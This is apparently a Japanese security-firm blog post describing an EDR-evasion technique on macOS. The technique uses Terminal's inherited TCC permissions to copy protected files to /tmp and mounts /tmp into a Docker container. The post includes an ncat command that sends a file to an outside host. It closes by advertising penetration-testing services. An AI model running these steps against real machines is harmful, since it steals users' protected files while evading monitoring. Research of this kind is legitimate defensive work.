取締役CTOの小竹(aka tkmru)です。 前回に引き続きEDRバイパス手法の1つであるBring Your Own Container(BYOC)について紹介します。
BYOCは、Dockerコンテナを悪用して、EDRを回避する手法です。 この手法は、OSに標準搭載されたツールを悪用する「Living off the Land」(LotL)の考え方を、開発ツールであるDockerに応用したものです。 Bring Your Own Containerの概要を紹介している前回の記事はこちら。
経験豊富なmacOSユーザの方の中には、前回の記事を読んだ時、macOSにはTCCがあるので、macOSではBYOCは脅威にならないのではと感じた方もいるでしょう。 今回はTCCの仕様をうまく利用して、BYOCを行う手法を紹介します。
TCCの仕組み
現代のmacOS上で攻撃者が直面する最大の障害は、TCC(Transparency, Consent, and Control)です。 TCCは、macOSに搭載されているプライバシー保護のためのセキュリティフレームワークです。 ユーザの個人情報が含まれる可能性のある特定のフォルダや、カメラ、マイクといったハードウェアへのアプリケーションからのアクセスを管理します。
アプリケーションが初めてTCCの保護対象のリソースにアクセスしようとすると、macOSはユーザに対して許可を求めるプロンプトを表示します。
ユーザが一度許可または拒否を選択すると、その設定はTCCのデータベース(TCC.db)に記録され、以降のアクセスではその設定が自動的に適用されます。

TCCの権限管理は、アプリケーションのバンドルIDに基づいて行われます。
重要な特徴として、親プロセスが持つTCC権限は子プロセスに継承されるという仕組みがあります。
例えば、ユーザがTerminal.appに対して特定のフォルダへのアクセスを許可した場合、Terminal.appから実行されるcpやlsといったコマンドも、その許可された権限を継承して動作します。
このプロンプトに対してユーザが「許可しない」を選択した場合、アプリケーションのアクセスは拒否され、「operation not permitted」というエラーが表示されます。
$ docker run --rm -v ~/Downloads:/lib/modules -it ubuntu /bin/bash docker: Error response from daemon: error while creating mount source path '/host_mnt/Users/taichi.kotake/Downloads': mkdir /host_mnt/Users/taichi.kotake/Downloads: operation not permitted.
ユーザが付与した権限は、「システム設定」>「プライバシーとセキュリティ」>「ファイルとフォルダ」から確認できます。

TCCの保護対象と監視対象外のディレクトリ
TCCは、ユーザの重要なデータが保存されているディレクトリを保護対象とします。主な保護対象は次の通りです。
~/Desktop~/Documents~/Downloads- iCloud Driveの同期のためのフォルダ
- 外部ボリュームやネットワークボリューム
一方で、macOSのファイルシステムには、TCCの監視対象外となっているディレクトリも存在します。
その代表的な例が/tmpです。
/tmpは、OSやアプリケーションが一時的なファイルを保存するために使用する、全てのユーザが書き込み可能な共有ディレクトリです。
このディレクトリには「スティッキービット」という特殊なパーミッションが付与されており、自分が作成したファイル以外は所有者であっても削除できないようになっています。
/tmpはTCCの保護対象外であるため、どのアプリケーションもTCCプロンプトなしに/tmpへのファイルの書き込みが可能です。
この特性により、/tmpはTCCで保護された場所からファイルを持ち出すための一時的な置き場所として利用できます。
TCCを回避する手順
BYOCによるデータの持ち出しは次の2つのステップで構成されます。
- ステップ1:コンテナへのデータ持ち込み
- ステップ2:コンテナからのデータ持ち出し
ここではTerminal.appに付与されたTCC権限を利用して保護されたディレクトリからファイルをコピーし、/tmpを経由してコンテナ内に持ち込み、最終的に外部へ送信するまでの一連の手順を解説します。
下準備: TCCで保護されたディレクトリからファイルを/tmpへコピーする
下準備では、Terminal.appを用いてTCCで保護されたディレクトリ(例:~/Desktop)から、保護されていない/tmpへ持ち出したいファイルをコピーします。
Terminal.appがアクセス可能なディレクトリはhistoryコマンドの実行結果から確認できます。
# Terminal.appからアクセス可能なディレクトリを履歴などから確認 $ history # 保護されたディレクトリから監視対象外の/tmpへファイルをコピー $ cp ~/Desktop/secret.png /tmp/
cpコマンドはTerminal.appの子プロセスとして実行されるため、親プロセスが持つTCCの権限を継承しており、プロンプトなしでファイルにアクセスできます。
この操作により、ファイルはTCCの監視範囲外である/tmpに移動され、次のステップの準備が整います。
このコマンドが成功する理由は、TCCの脆弱性を利用しているからではありません。
ユーザが過去に何らかの操作(例えばls ~/Desktopの実行など)のために、親プロセスであるTerminal.appに対して~/Desktopへのアクセスを許可しているためです。
ステップ1:コンテナへのデータ持ち込み
次に、/tmpのファイルをコンテナ内に持ち込みます。これにはいくつか方法があります。
docker cpコマンドを使って既存のコンテナに/tmpにあるファイルをコピーする方法や/tmpからファイルをコピーするようDockerfileを作成する方法などが考えられます。
ここでは/tmpをマウントした状態でコンテナを起動するコマンドを紹介します。
$ docker run --rm -v /tmp:/data -it ubuntu /bin/bash
このコマンドでは、ホストの/tmpをコンテナ内の/dataにマウントしています。
/tmpはTCCの保護対象外であるため、Docker.appがこのディレクトリにアクセスする際にTCCのプロンプトは表示されません。
ステップ2: コンテナを利用してファイルを外部に持ち出す
コンテナが起動したら、EDRの監視がない自由なシェルを操作できます。 ここからファイルを外部に送信するのには様々な方法が考えられます。 例えば、コンテナ内部からncatのようなツールを使い、マウントしたディレクトリ内のファイルを外部のサーバへ送信できます。
# /tmpをマウントしてコンテナを起動し、内部のファイルを外部へ送信する $ docker run --rm -v /tmp:/data -it ubuntu /bin/bash # tar cf /data/secret.png | ncat XX.XX.XX.XX 3333
まとめ
TCCに保護されたファイルにアクセスし、BYOCを利用してEDRに検知されずに外部にデータを持ち出す一連の手法を解説しました。 この手法は、TCCやDockerの脆弱性を利用するものではなく、正規の仕様とユーザによって与えられた権限を組み合わせることで成立しています。 TCCが全てのディレクトリを保護している訳ではないこと、既に権限を持っているアプリケーションを活用することがポイントです。
弊社ではEDRバイパスの手法を日々リサーチしており、EDR製品の性能検証や、EDRが導入されているシステムに対するペネトレーションテストに対応できます。 ご興味がある方は問い合わせフォームよりご連絡ください。 また最近、ブログではEDRバイパスの解説記事が続いていますが、弊社の主力サービスはWebアプリケーション/スマホアプリの脆弱性診断です。 脆弱性診断のお問い合わせもお待ちしております。